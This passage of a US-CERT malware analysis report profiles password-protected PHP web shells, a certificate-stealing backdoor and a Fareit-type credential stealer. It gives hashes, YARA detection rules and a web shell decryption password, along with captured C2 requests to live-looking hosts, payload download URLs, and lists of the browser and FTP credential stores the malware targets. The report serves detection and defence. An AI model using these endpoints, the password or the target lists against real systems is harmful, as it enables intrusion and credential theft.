+This file is a malicious PHP file containing an embedded obfuscated payload. This payload is Base64 encoded and password protected.
+Analysis indicates that the web-shell will be accessed and executed through a browser by a remote user. The file will prompt the user to
+enter a password. The password entered is submitted via $_POST and stored in a cookie at runtime.
+US-CERT MIFR-10105049-Update2
+9 of 63
+2d5afec034705d2dc398f01c100636d51eb446f459f1c2602512fd26e86368e4
+Details
+Name
+2d5afec034705d2dc398f01c100636d51eb446f459f1c2602512fd26e86368e4
+Size
+21377
+Type
+PHP script, ASCII text, with very long lines
+7fce89d5e3d59d8e849d55d604b70a6f
+SHA1
+a0a6978f7022f71ad977760f492704216318b5cd
+ssdeep
+384:ZoO1rR0apTrdj4hK2IeJYORHxrPIHzDUCuJYL3Q3QX6imKrV3XVPeezCv:ZR1rxl0k2lJYORRyBg3XlKpnVPee+v
+Entropy
+6.10129283354
+Antivirus
+F-prot
+PHP/WebShell.A
+McAfee
+PHP/WebShell.i
+F-secure
+Backdoor.PHP.AYP
+Symantec
+PHP.Backdoor.Trojan
+ClamAV
+Php.Malware.Agent-5486261-0
+Kaspersky
+Backdoor.PHP.Agent.abb
+TrendMicro
+PHP_WEBSHELL.SMA
+Sophos
+Microsoft
+Ahnlab
+ESET
+TrendMicroHouseCall
+Ikarus
+PHP/WebShell-O
+Backdoor:PHP/Fobushell.D
+PHP/Webshell
+PHP/Krypt k.AJ trojan
+PHP_WEBSHELL.SMA
+Trojan.PHP.Crypt
+Description
+This is a malicious PHP file containing an embedded obfuscated payload. This payload is Base64 encoded and password protected. During
+runtime, this payload will be decoded and decrypted using combination of a base64_decode and a password. This password is submitted via
+a POST request or in a cookie at runtime. The following password "|F3Jk~6k6" was used to decrypt the payload. The decrypted payload
+contains a PHP webshell and has been identified as P.A.S. v.3.1.0. This webshell is a backdoor that provides an interface for various remote
+operations, such as file explorer, searcher, SQL-client, network tools, command shell access, and server info features to a remote user once
+installed on the compromised system. The following are some of the P.A.S webshell capabilities:
+--Begin Capabilities-To view compromised server information.
+File manager (copy, rename, move, download, upload, delete, jump, create files and folders).
+Search files, objects, directories, and text in files.
+SQL client to login and dump database and tables.
+Network console to bindport, back-connect, and port scanner.
+Command line console to execute command.
+Execute PHP code.
+--End Capabilities-The webshell interface is shown in image 1.0.
+3bd682bb7870d5c8bc413cb4e0cc27e44b2358c8fc793b934c71b2a85b8169d7
+Details
+Name
+3bd682bb7870d5c8bc413cb4e0cc27e44b2358c8fc793b934c71b2a85b8169d7
+Size
+21612
+Type
+PHP script, ASCII text, with very long lines, with CRLF line terminators
+e80f92faa5e11007f9ffea6df2297993
+SHA1
+2c48e42c882b45861557ea1f139f3e8b31629c7c
+ssdeep
+384:FflOAr6OucUytsS8UdzMV3u2SmsyCDHEToBCGIbGA3taDPWA+0BWdLh:FfUAr6OJB18Cc3u2jseTo/cGA3taD+Aq
+Entropy
+6.11927531623
+Antivirus
+F-prot
+PHP/WebShell.A
+McAfee
+PHP/WebShell.i
+F-secure
+Backdoor.PHP.AYP
+Symantec
+PHP.Backdoor.Trojan
+US-CERT MIFR-10105049-Update2
+10 of 63
+ClamAV
+Php.Malware.Agent-5486261-0
+Kaspersky
+Backdoor.PHP.Agent.aas
+TrendMicro
+PHP_WEBSHELL.SMA
+Sophos
+Microsoft
+Ahnlab
+ESET
+TrendMicroHouseCall
+Ikarus
+PHP/WebShell-O
+Backdoor:PHP/Fobushell.G
+PHP/Webshell
+PHP/Krypt k.AJ trojan
+PHP_WEBSHELL.SMA
+Trojan.PHP.Crypt
+Description
+This file is a malicious PHP file containing an embedded obfuscated payload.Analysis indicates that the web shell will be access and
+execute through a browser by a remote user. The file will prompt the user to enter a password. The password entered is submitted via
+$_POST and stored in a cookie at runtime. The embedded payload will be decoded and decrypted using combination of a base64_decode
+and a password. The password was not part of the submission.
+449e7a7cbc393ae353e8e18b5c31d17bb13235d0c07e9e319137543608749602
+Details
+Name
+449e7a7cbc393ae353e8e18b5c31d17bb13235d0c07e9e319137543608749602
+Size
+21667
+Type
+PHP script, ASCII text, with very long lines
+66948b04173b523ca773c3073afb506d
+SHA1
+e1ad80b0769b8b9dfb357a410af948127aabda97
+ssdeep
+384:C0LnByNA3w1C7+mUsR+3oGzY0esuvDDqpEhIqdbf1oZP4jihXro8AtoGXz:C0FgJXoGzY0mDDbIqNYP4jihXroltoGj
+Entropy
+6.09992131729
+Antivirus
+F-prot
+PHP/WebShell.A
+McAfee
+PHP/WebShell.i
+F-secure
+Backdoor.PHP.AYP
+Symantec
+PHP.Backdoor.Trojan
+ClamAV
+Php.Malware.Agent-5486261-0
+Kaspersky
+Backdoor.PHP.Agent.aap
+TrendMicro
+PHP_WEBSHELL.SMA
+Sophos
+PHP/WebShell-O
+Avira
+PHP/Agent.12664
+Microsoft
+Ahnlab
+ESET
+TrendMicroHouseCall
+Ikarus
+Backdoor:PHP/Fobushell.G
+PHP/Webshell
+PHP/Krypt k.AJ trojan
+PHP_WEBSHELL.SMA
+Trojan.PHP.Crypt
+Description
+This file is a malicious PHP file containing an embedded obfuscated payload. This payload is Base64 encoded and password protected.
+Analysis indicates that the web-shell will be accessed and executed through a browser by a remote user. The file will prompt the user to
+enter a password. The password entered is submitted via $_POST and stored in a cookie at runtime.
+7dac01e818bd5a01fe75c3324f6250e3f51977111d7b4a94e41307bf463f122e
+Details
+Name
+7dac01e818bd5a01fe75c3324f6250e3f51977111d7b4a94e41307bf463f122e
+Size
+21445
+Type
+PHP script, ASCII text, with very long lines, with CRLF line terminators
+a5e933d849367d623d1f2692b6691bbf
+SHA1
+b788dce411fe0e1e1b7b476184aa6bbd0f8e3e31
+ssdeep
+384:5WermnyinsjQ+b3f+qzolbopGdiWy6diduFrg:5XaytEm3GCpGdMuFrg
+Entropy
+6.11582358023
+US-CERT MIFR-10105049-Update2
+11 of 63
+Antivirus
+F-prot
+PHP/WebShell.A
+McAfee
+PHP/WebShell.i
+F-secure
+Backdoor.PHP.AYP
+Symantec
+PHP.Backdoor.Trojan
+ClamAV
+Php.Malware.Agent-5486261-0
+Kaspersky
+Backdoor.PHP.Agent.aaq
+TrendMicro
+PHP_WEBSHELL.SMA
+Sophos
+PHP/WebShell-O
+Avira
+PHP/Agent.12661
+Microsoft
+Ahnlab
+ESET
+TrendMicroHouseCall
+Ikarus
+Backdoor:PHP/Fobushell.G
+PHP/Webshell
+PHP/Krypt k.AJ trojan
+PHP_WEBSHELL.SMA
+Trojan.PHP.Crypt
+Description
+This file is a malicious PHP file containing an embedded obfuscated payload. This payload is Base64 encoded and password protected.
+Analysis indicates that the web-shell will be accessed and executed through a browser by a remote user. The file will prompt the user to
+enter a password. The password entered is submitted via $_POST and stored in a cookie at runtime.
+9376e20164145d9589e43c39c29be3a07ecdfd9c5c3225a69f712dc0ef9d757f
+Details
+Name
+9376e20164145d9589e43c39c29be3a07ecdfd9c5c3225a69f712dc0ef9d757f
+Size
+21182
+Type
+PHP script, ASCII text, with very long lines
+dc4594dbeafbc8edfa0ac5983b295d9b
+SHA1
+82c4d3753a8ee26f0468e79bf5d90ada04c612ea
+384:5e0nReo3P8WiT/7AxG7+4g6NdSB1env3qnEkgAFHJNdfoNuWs3yYKGYWZ0QxzTFI:5RzI
+/sxG7+762Be0skJNdfoNuWVbWZ0V
+6.10088739359
+ssdeep
+Entropy
+Antivirus
+F-prot
+PHP/WebShell.A
+McAfee
+PHP/WebShell.i
+F-secure
+Backdoor.PHP.AYP
+Symantec
+PHP.Backdoor.Trojan
+ClamAV
+Php.Malware.Agent-5486261-0
+Kaspersky
+Backdoor.PHP.Agent.abd
+TrendMicro
+PHP_WEBSHELL.SMA
+Sophos
+Microsoft
+Ahnlab
+ESET
+TrendMicroHouseCall
+Ikarus
+PHP/WebShell-O
+Backdoor:PHP/Fobushell.G
+PHP/Webshell
+PHP/Krypt k.AJ trojan
+PHP_WEBSHELL.SMA
+Trojan.PHP.Crypt
+Description
+This file is a malicious PHP file containing an embedded obfuscated payload. This payload is Base64 encoded and password protected.
+Analysis indicates that the web-shell will be accessed and executed through a browser by a remote user. The file will prompt the user to
+enter a password. The password entered is submitted via $_POST and stored in a cookie at runtime.
+a0c00aca2f34c1f5ddcf36be2ccca4ce63b38436faf45f097d212c59d337a806
+Details
+Name
+Size
+a0c00aca2f34c1f5ddcf36be2ccca4ce63b38436faf45f097d212c59d337a806
+21191
+US-CERT MIFR-10105049-Update2
+12 of 63
+Type
+PHP script, ASCII text, with very long lines
+1ec7f06f1ee4fa7cecd17244eec24e07
+SHA1
+ae167bca0863cfccba9cc9cf5e3cafce6fa6b92c
+ssdeep
+384:s7ueraQSysFXnTPy9U3KRpz0x8Q1wKM5ivFV8rfAcrOf+U8zVYG:32sFXTPy9U3Qze8SwK2iooEOmKG
+Entropy
+6.1011365049
+Antivirus
+F-prot
+PHP/WebShell.A
+McAfee
+PHP/WebShell.i
+F-secure
+Backdoor.PHP.AYP
+Symantec
+PHP.Backdoor.Trojan
+ClamAV
+Php.Malware.Agent-5486261-0
+Kaspersky
+Backdoor.PHP.Agent.aba
+TrendMicro
+PHP_WEBSHELL.SMA
+Sophos
+Microsoft
+Ahnlab
+ESET
+TrendMicroHouseCall
+Ikarus
+PHP/WebShell-O
+Backdoor:PHP/Fobushell.G
+PHP/Webshell
+PHP/Krypt k.AJ trojan
+PHP_WEBSHELL.SMA
+Trojan.PHP.Crypt
+Description
+This file is a malicious PHP file containing an embedded obfuscated payload. This payload is Base64 encoded and password protected.
+Analysis indicates that the web-shell will be accessed and executed through a browser by a remote user. The file will prompt the user to
+enter a password. The password entered is submitted via $_POST and stored in a cookie at runtime.
+bd7996752cac5d05ed9d1d4077ddf3abcb3d291321c274dbcf10600ab45ad4e4
+Details
+Name
+bd7996752cac5d05ed9d1d4077ddf3abcb3d291321c274dbcf10600ab45ad4e4
+Size
+21377
+Type
+PHP script, ASCII text, with very long lines
+70f93f4f17d0e46137718fe59591dafb
+SHA1
+1e49a68c72ef40e8c333007a7e7f56de1b29c842
+ssdeep
+384:EIiH2ER39I1Vv+kIPEWWjYc+CmJNHKblvcDSRRjqSA93DuxuXvWxUort:EIy2ER3CL+khWUYcsJtMcDiuSA93Duxf
+Entropy
+6.09482710893
+Antivirus
+F-prot
+PHP/WebShell.A
+McAfee
+PHP/WebShell.i
+F-secure
+Backdoor.PHP.AYP
+VirIT
+Trojan.PHP.Shell.LV
+Symantec
+PHP.Backdoor.Trojan
+ClamAV
+Php.Malware.Agent-5486261-0
+Kaspersky
+Backdoor.PHP.Agent.aaw
+TrendMicro
+PHP_WEBSHELL.SMA
+Sophos
+Microsoft
+Ahnlab
+ESET
+TrendMicroHouseCall
+Ikarus
+PHP/WebShell-O
+Backdoor:PHP/Fobushell.G
+PHP/Webshell
+PHP/Krypt k.AJ trojan
+PHP_WEBSHELL.SMA
+Trojan.PHP.Crypt
+Description
+This file is a malicious PHP file containing an embedded obfuscated payload. This payload is Base64 encoded and password protected.
+Analysis indicates that the web-shell will be accessed and executed through a browser by a remote user. The file will prompt the user to
+enter a password. The password entered is submitted via $_POST and stored in a cookie at runtime.
+US-CERT MIFR-10105049-Update2
+13 of 63
+rule unidentified_malware
+meta:
+Author = "US-CERT Code Analysis Team"
+Date = 16JAN17
+Incident = 10105049
+MD5 = "8F154D23AC2071D7F179959AABA37AD5"
+strings:
+$my_string_one = { 8D 78 03 8A 65 FF 8D A4 24 00 00 00 00 8A 04 0F 32 C4 88 04 11 41 3B CE 72 F3 }
+$my_string_two = "CryptAcquireCertificatePrivateKey"
+$my_string_three = "CertFreeCertificateContext"
+$my_string_four = "CertEnumCertificatesInStore"
+$my_string_five = "PFXImportCertStore"
+condition:
+all of them
+End YARA Signature
+During runtime, the malware attempts to communicate with its C2 server, private.directinvesting.com. Displayed below are sample
+connections between the malware and its C2 server.
+Begin Sample C2 Connections
+GET /lexicon/index.cfm?dq=d9487&pg=149a8d6adb73d479e66c6 HTTP/1.1
+User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR
+3.5.21022)
+Host: private.directinvesting.com
+Connection: Keep-Alive
+Cache-Control: no-cache
+Pragma: no-cache
+GET /lexicon/index.cfm?source=0887a&css=b9&utm_term=80aaeb73d479e66c6&f=12 HTTP/1.1
+User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR
+3.5.21022)
+Host: private.directinvesting.com
+Connection: Keep-Alive
+Cache-Control: no-cache
+Pragma: no-cache
+GET /lexicon/index.cfm?utm_content=876b73d479e66c6&source=19bd05efa8c HTTP/1.1
+User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR
+3.5.21022)
+Host: private.directinvesting.com
+Connection: Keep-Alive
+Cache-Control: no-cache
+Pragma: no-cache
+End Sample C2 Connections
+The application attempts to download data from a C2 server and write it to a randomly named .tmp file within the users %TEMP% directory.
+Some of the file names used to store this downloaded data within our lab environment are displayed below:
+Begin Sample File Names
+TEMP\Cab1D5.tmp
+TEMP\Cab1D7.tmp
+TEMP\Cab1DA.tmp
+TEMP\Cab1DC.tmp
+End Sample File Names
+Analysis indicates this application provides several notable capabilities to an operator. The program provides an operator access to a
+reverse shell on the victim system. Additionally, the malware provides an operator the capability to enumerate the victims Windows
+Certificate Store, and extract identified digital certificates, including private keys. The application also allows an operator to enumerate all
+physical drives and network resources the victim system has access to.
+US-CERT MIFR-10105049-Update2
+15 of 63
+secure strings method.
+Begin YARA Signature
+rule unidentified_malware
+meta:
+Author = "US-CERT Code Analysis Team"
+Date = 16JAN17
+Incident = 10105049
+File = "9acba7e5f972cdd722541a23ff314ea81ac35d5c0c758eb708fb6e2cc4f598a0"
+MD5 = "AE7E3E531494B201FBF6021066DDD188"
+strings:
+$my_string_one = { 8D 78 03 8A 65 FF 8D A4 24 00 00 00 00 8A 04 0F 32 C4 88 04 11 41 3B CE 72 F3 }
+$my_string_two = "CryptAcquireCertificatePrivateKey"
+$my_string_three = "CertFreeCertificateContext"
+$my_string_four = "CertEnumCertificatesInStore"
+$my_string_five = "PFXImportCertStore"
+condition:
+all of them
+End YARA Signature
+During runtime, the malware attempts to communicate with its C2 server, cderlearn[.]com. Displayed below are sample connections between
+the malware and its C2 server.
+Begin Sample C2 Connections
+POST /search.cfm HTTP/1.1
+Content-Type: application/x-www-form-urlencoded
+User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR
+3.5.21022)
+Host: www[.]cderlearn.com
+Content-Length: 38
+Connection: Keep-Alive
+Cache-Control: no-cache
+Pragma: no-cache
+rss=a5ce5fa&pg=f8&sa=8816db73d479e8e35
+POST /search.cfm HTTP/1.1
+Content-Type: application/x-www-form-urlencoded
+User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR
+3.5.21022)
+Host: www[.]cderlearn.com
+Content-Length: 46
+Cache-Control: no-cache
+id=3&source=a804b4b73d479eebea&rss=53d0&ei=d3c
+End Sample C2 Connections
+The application attempts to download data from a C2 server and write it to a randomly named .tmp file within the users %TEMP% directory.
+Some of the file names used to store this downloaded data within our lab environment are displayed below:
+Begin Sample File Names
+TEMP\Cab5.tmp
+TEMP\Tar6.tmp
+TEMP\Cab7.tmp
+TEMP\Tar8.tmp
+End Sample File Names
+Analysis indicates this application provides several notable capabilities to an operator. The program provides an operator access to a
+reverse shell on the victim system. Additionally, the malware provides an operator the capability to enumerate the victims Windows
+Certificate Store, and extract identified digital certificates, including private keys. The application also allows an operator to enumerate all
+physical drives and network resources the victim system has access to.
+US-CERT MIFR-10105049-Update2
+17 of 63
+Screenshots
+digital_cert_steal.bmp
+Screen shot of code used by 9acba7e5f972cdd722541a23ff314ea81ac35d5c0c758eb708fb6e2cc4f598a0 to steal a victim users
+digital certificates from the Windows Certificate Store.
+ac30321be90e85f7eb1ce7e211b91fed1d1f15b5d3235b9c1e0dad683538cc8e
+Details
+Name
+ac30321be90e85f7eb1ce7e211b91fed1d1f15b5d3235b9c1e0dad683538cc8e
+Size
+714679
+Type
+Rich Text Format data, version 1, unknown character set
+81f1af277010cb78755f08dfcc379ca6
+SHA1
+9cb7716d83c0d06ab356bdfa52def1af64bc5210
+ssdeep
+3072:0gOxPV0p1knm8Z0gPJQ3kq9d6AvgBodb30aCubtvn7JBsEitau3QCv:jOBVs1knm8ZPJQ3kqoodkuZjlbVY
+Entropy
+3.29548128269
+Antivirus
+F-prot
+W32/Dridex.HX
+McAfee
+Fareit-FHF
+NetGate
+Trojan.Win32.Malware
+F-secure
+Gen:Variant.Razy.41230
+Symantec
+Trojan.Fareit
+VirusBlokAda
+TrojanPSW.Fareit
+ClamAV
+Win.Trojan.Agent-5486255-0
+Kaspersky
+Trojan-PSW.Win32.Fareit.bshk
+TrendMicro
+TROJ_FA.6BBF19ED
+Sophos
+Avira
+Microsoft
+Ahnlab
+NANOAV
+Troj/Fareit-AMQ
+TR/AD.Fareit.Y.ehkw
+PWS:Win32/Fareit
+RTF/Dropper
+Trojan.Rtf.Stealer.efqzyl
+TrendMicroHouseCall
+TROJ_FA.6BBF19ED
+Ikarus
+Trojan.Win32.Zlader
+Relationships
+ac30321be90e85f7eb1ce7e211b91fed1d1f15b5d
+US-CERT MIFR-10105049-Update2
+Dropped
+9f918fb741e951a10e68ce6874b839aef5a26d604
+18 of 63
+3235b9c1e0dad683538cc8e (81f1a)
+ac30321be90e85f7eb1ce7e211b91fed1d1f15b5d
+3235b9c1e0dad683538cc8e (81f1a)
+86db31e509f8dcaa13acec5 (617ba)
+Characterized_By
+ac30321be90e85f7eb1ce7e211b91fed1d1f15b5d
+3235b9c1e0dad683538cc8e
+Description
+This is a malicious RTF document containing an embedded encoded executable. Upon execution, the RTF will decode and install the
+executable to %Temp%\m3.tmp (9f918fb741e951a10e68ce6874b839aef5a26d60486db31e509f8dcaa13acec5). The encoded executable is
+decoded using a hexadecimal algorithm. The document will attempt to execute m3.tmp but fails to execute due to the file exetension.
+Screenshots
+ac30321be90e85f7eb1ce7e211b91fed1d1f15b5d3235b9c1e0dad683538cc8e
+9f918fb741e951a10e68ce6874b839aef5a26d60486db31e509f8dcaa13acec5
+Details
+Name
+9f918fb741e951a10e68ce6874b839aef5a26d60486db31e509f8dcaa13acec5
+Size
+117248
+Type
+PE32 executable (GUI) Intel 80386, for MS Windows
+617ba99be8a7d0771628344d209e9d8a
+SHA1
+7cefb021fb30f985b427b584be9c16e364836739
+ssdeep
+3072:CN7FVxVzbL02rXlwiIrClX1O6OhOqsY9WZYWmwdaX82X45iAKMaEUSDslGz0x:CNxVjbLXDup2lXY6O0VYIOMW
+Entropy
+6.86854130027
+Antivirus
+F-prot
+W32/Dridex.HX
+McAfee
+Fareit-FHF
+Trojan ( 004df8ee1 )
+Systweak
+trojan.passwordstealer
+F-secure
+Gen:Variant.Razy.41230
+VirIT
+Symantec
+VirusBlokAda
+Trojan.Win32.Crypt5.AYWX
+Trojan.Fareit
+TrojanPSW.Fareit
+Zillya!
+Trojan.Fareit.Win32.14782
+ClamAV
+Win.Trojan.Agent-5486256-0
+Kaspersky
+Trojan-PSW.Win32.Fareit.bshk
+TrendMicro
+TSPY_FA.CFEECD19
+Sophos
+Avira
+Troj/Fareit-AMQ
+TR/AD.Fareit.Y.ehkw
+Microsoft
+PWS:Win32/Fareit
+Ahnlab
+Trojan/Win32.Fareit
+US-CERT MIFR-10105049-Update2
+19 of 63
+The file xtool.exe was not available for download at the time of analysis.
+This executable file drops and executes a batch file '%Temp%\[random digits].bat' to delete itself and the batch file at the end of the
+execution.
+Displayed below are sample connections between the malware and its C2 server.
+Begin Sample Connections to C2 Server
+POST /zapoy/gate.php HTTP/1.0
+Host: wilcarobbe.com
+Accept: */*
+Accept-Encoding: identity, *;q=0
+Accept-Language: en-US
+Content-Length: 196
+Content-Type: application/octet-stream
+Connection: close
+Content-Encoding: binary
+User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR
+3.5.21022)
+...[xXP..YG.....4...d...S.qO....4.....v..8 ..Y.u.
+X..3S*3.S..%<A.5..U..."N.W...eY...o.^...V..^.v.....#...+......]`..Y.L.5.b[.>?.".).....>...
+>V....H...;4.......OGf.'L..fB.N#.v[H.b_.{..w......j5
+POST /zapoy/gate.php HTTP/1.0
+Host: littjohnwilhap.ru
+Accept: */*
+Accept-Encoding: identity, *;q=0
+Accept-Language: en-US
+Content-Length: 196
+Content-Type: application/octet-stream
+Connection: close
+Content-Encoding: binary
+User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR
+3.5.21022)
+...[xXP..YG.....4...d...S.qO....4.....v..8 ..Y.u.
+X..3S*3.S..%<A.5..U..."N.W...eY...o.^...V..^.v.....#...+......]`..Y.L.5.b[.>?.".).....>...
+>V....H...;4.......OGf.'L..fB.N#.v[H.b_.{..w......j5
+POST /zapoy/gate.php HTTP/1.0
+Host: ritsoperrol.ru
+Accept: */*
+Accept-Encoding: identity, *;q=0
+Accept-Language: en-US
+Content-Length: 196
+Content-Type: application/octet-stream
+Connection: close
+Content-Encoding: binary
+User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR
+3.5.21022)
+...[xXP..YG.....4...d...S.qO....4.....v..8 ..Y.u.
+X..3S*3.S..%<A.5..U..."N.W...eY...o.^...V..^.v.....#...+......]`..Y.L.5.b[.>?.".).....>...
+>V....H...;4.......OGf.'L..fB.N#.v[H.b_.{..w......j5
+End Sample Connections to C2 Server
+Static analysis of the unpacked portions of this file indicate it is, among other things, capable of targeting multiple Windows applications. For
+example, the malware searches the Windows registry for keys utilized by multiple types of Windows email software. If found, the malware
+attempts to extract email passwords from these keys. This appears to be an attempt to gain unauthorized access to the victim users emails.
+In addition, the software attempts to find registry keys used by the Windows file management software named Total Commander. This
+appears to be an attempt to gain unauthorized access to the victim users stored files. The software also contains a list of commonly used
+passwords. This indicates the malware provides an operator the capability to brute force their way into a victim users email accounts or
+locations where their files are stored. Displayed below is a YARA signature which may be utilized to detect this software both packed on disk,
+and running within system memory.
+Begin YARA Signature
+US-CERT MIFR-10105049-Update2
+21 of 63
+rule unidentified_malware_two
+meta:
+Author = "US-CERT Code Analysis Team"
+Date = 16JAN17
+Incident = 10105049
+File = "9f918fb741e951a10e68ce6874b839aef5a26d60486db31e509f8dcaa13acec5"
+MD5 = "617BA99BE8A7D0771628344D209E9D8A"
+strings:
+$my_string_one = "/zapoy/gate.php"
+$my_string_two = { E3 40 FE 45 FD 0F B6 45 FD 0F B6 14 38 88 55 FF 00 55 FC 0F B6 45 FC 8A 14 38 88 55 FE 0F B6 45 FD 88 14 38
+0F B6 45 FC 8A 55 FF 88 14 38 8A 55 FF 02 55 FE 8A 14 3A 8B 45 F8 30 14 30 }
+$my_string_three = "S:\\Lidstone\\renewing\\HA\\disable\\In.pdb"
+$my_string_four = { 8B CF 0F AF CE 8B C6 99 2B C2 8B 55 08 D1 F8 03 C8 8B 45 FC 03 C2 89 45 10 8A 00 2B CB 32 C1 85 DB 74 07 }
+$my_string_five = "fuckyou1"
+$my_string_six = "xtool.exe"
+condition:
+($my_string_one and $my_string_two) or ($my_string_three or $my_string_four) or ($my_string_five and $my_string_six)
+End YARA Signature-Displayed below are strings of interest extracted from the unpacked portions of this malware:
+Begin Strings of Interest
+1DA409EB2825851644CCDAB
+1RcpNUE12zpJ8uDaDqlygR70aZl2ogwes
+wilcarobbe.com/zapoy/gate.php
+littjohnwilhap.ru/zapoy/gate.php
+ritsoperrol.ru/zapoy/gate.php
+one2shoppee.com/system/logs/xtool.exe
+insta.reduct.ru/system/logs/xtool.exe
+editprod.waterfilter.in.ua/system/logs/xtool.exe
+YUIPWDFILE0YUIPKDFILE0YUICRYPTED0YUI1.0
+MODU
+SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
+UninstallString
+DisplayName
+.exe
+Software\WinRAR
+open
+vaultcli.dll
+VaultOpenVault
+VaultEnumerateItems
+VaultGetItem
+VaultCloseVault
+VaultFree
+kernel32.dll
+WTSGetActiveConsoleSessionId
+ProcessIdToSessionId
+netapi32.dll
+NetApiBufferFree
+NetUserEnum
+ole32.dll
+StgOpenStorage
+advapi32.dll
+AllocateAndInitializeSid
+CheckTokenMembership
+FreeSid
+CredEnumerateA
+CredFree
+CryptGetUserKey
+CryptExportKey
+CryptDestroyKey
+CryptReleaseContext
+RevertToSelf
+US-CERT MIFR-10105049-Update2
+22 of 63
+OpenProcessToken
+ImpersonateLoggedOnUser
+GetTokenInformation
+ConvertSidToStringSidA
+LogonUserA
+LookupPrivilegeValueA
+AdjustTokenPrivileges
+CreateProcessAsUserA
+crypt32.dll
+CryptUnprotectData
+CertOpenSystemStoreA
+CertEnumCertificatesInStore
+CertCloseStore
+CryptAcquireCertificatePrivateKey
+msi.dll
+MsiGetComponentPathA
+pstorec.dll
+PStoreCreateInstance
+userenv.dll
+CreateEnvironmentBlock
+DestroyEnvironmentBlock
+vshell32.dll
+SHGetFolderPathA
+My Documents
+AppData
+Local AppData
+Cache
+Cookies
+History
+My Documents
+Common AppData
+My Pictures
+Common Documents
+Common Administrative Tools
+Administrative Tools
+Personal
+Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
+explorer.exe
+S-1-5-18
+SeImpersonatePrivilege
+SeTcbPrivilege
+SeChangeNotifyPrivilege
+SeCreateTokenPrivilege
+SeBackupPrivilege
+SeRestorePrivilege
+SeIncreaseQuotaPrivilege
+SeAssignPrimaryTokenPrivilege
+GetNativeSystemInfo
+kernel32.dll
+IsWow64Process
+Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/5.0)
+POST %s HTTP/1.0
+Host: %s
+Accept: */*
+Accept-Encoding: identity, *;q=0
+Accept-Language: en-US
+Content-Length: %lu
+Content-Type: application/octet-stream
+Connection: close
+Content-Encoding: binary
+User-Agent: %s
+Content-Length:
+Location:
+\*.*
+Software\Microsoft\Windows\CurrentVersion\Internet Settings
+ProxyServer
+HWID
+US-CERT MIFR-10105049-Update2
+23 of 63
+{%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X}
+Software\Far\Plugins\FTP\Hosts
+Software\Far2\Plugins\FTP\Hosts
+Software\Far Manager\Plugins\FTP\Hosts
+Software\Far\SavedDialogHistory\FTPHost
+Software\Far2\SavedDialogHistory\FTPHost
+Software\Far Manager\SavedDialogHistory\FTPHost
+Password
+HostName
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+Line
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+\GHISLER
+InstallDir
+FtpIniName
+Software\Ghisler\Windows Commander
+Software\Ghisler\Total Commander
+CUTEFTP
+QCHistory
+Software\GlobalSCAPE\CuteFTP 6 Home\QCToolbar
+Software\GlobalSCAPE\CuteFTP 6 Professional\QCToolbar
+Software\GlobalSCAPE\CuteFTP 7 Home\QCToolbar
+Software\GlobalSCAPE\CuteFTP 7 Professional\QCToolbar
+Software\GlobalSCAPE\CuteFTP 8 Home\QCToolbar
+Software\GlobalSCAPE\CuteFTP 8 Professional\QCToolbar
+Software\GlobalSCAPE\CuteFTP 9\QCToolbar
+\GlobalSCAPE\CuteFTP
+\GlobalSCAPE\CuteFTP Pro
+\GlobalSCAPE\CuteFTP Lite
+\CuteFTP
+\sm.dat
+Software\FlashFXP\3
+Software\FlashFXP
+Software\FlashFXP\4
+InstallerDathPath
+path
+Install Path
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+\Quick.dat
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+\FlashFXP\3
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+Software\FileZilla
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+Last Server Type
+Software\FTPWare\COREFTP\Sites
+Host
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+US-CERT MIFR-10105049-Update2
+24 of 63
+PthR
+.ini
+\VanDyke\Config\Sessions
+\Sessions
+Software\VanDyke\SecureFX
+Config Path
+Password
+HostName
+UserName
+RemoteDirectory
+PortNumber
+FSProtocol
+Software\Martin Prikryl
+http[:]//
+https[:]//
+ftp://
+opera
+wand.dat
+_Software\Opera Software
+Last Directory3
+Last Install Path
+Opera.HTML\shell\open\command
+\Opera Software
+nss3.dll
+NSS_Init
+NSS_Shutdown
+NSSBase64_DecodeBuffer
+SECITEM_FreeItem
+PK11_GetInternalKeySlot
+PK11_Authenticate
+PK11SDR_Decrypt
+PK11_FreeSlot
+profiles.ini
+Profile
+IsRelative
+Path
+PathToExe
+prefs.js
+logins.json
+signons.sqlite
+signons.txt
+signons2.txt
+signons3.txt
+encryptedPassword":"
+encryptedUsername":"
+hostname":"
+Firefox
+\Mozilla\Firefox\
+Software\Mozilla
+--ftp://
+http[:]//
+https[:]//
+ftp.
+Mozilla
+\Mozilla\Profiles\
+Favorites.dat
+WinFTP
+Internet Explorer
+WininetCacheCredentials
+MS IE FTP Passwords
+DPAPI:
+@J7<
+AJ7<
+BJ7<
+%02X
+Software\Microsoft\Internet Explorer\IntelliForms\Storage2
+SOFTWARE\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage
+US-CERT MIFR-10105049-Update2
+25 of 63
+\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\IntelliForms\FormData
+http[:]//www[.]facebook.com/
+Microsoft_WinInet_*
+ftp://
+SspiPfc
+;USQLite format 3
+table
+CONSTRAINT
+PRIMARY
+UNIQUE
+CHECK
+FOREIGN
+Web Data
+Login Data
+logins
+origin_url
+password_value
+username_value
+ftp://
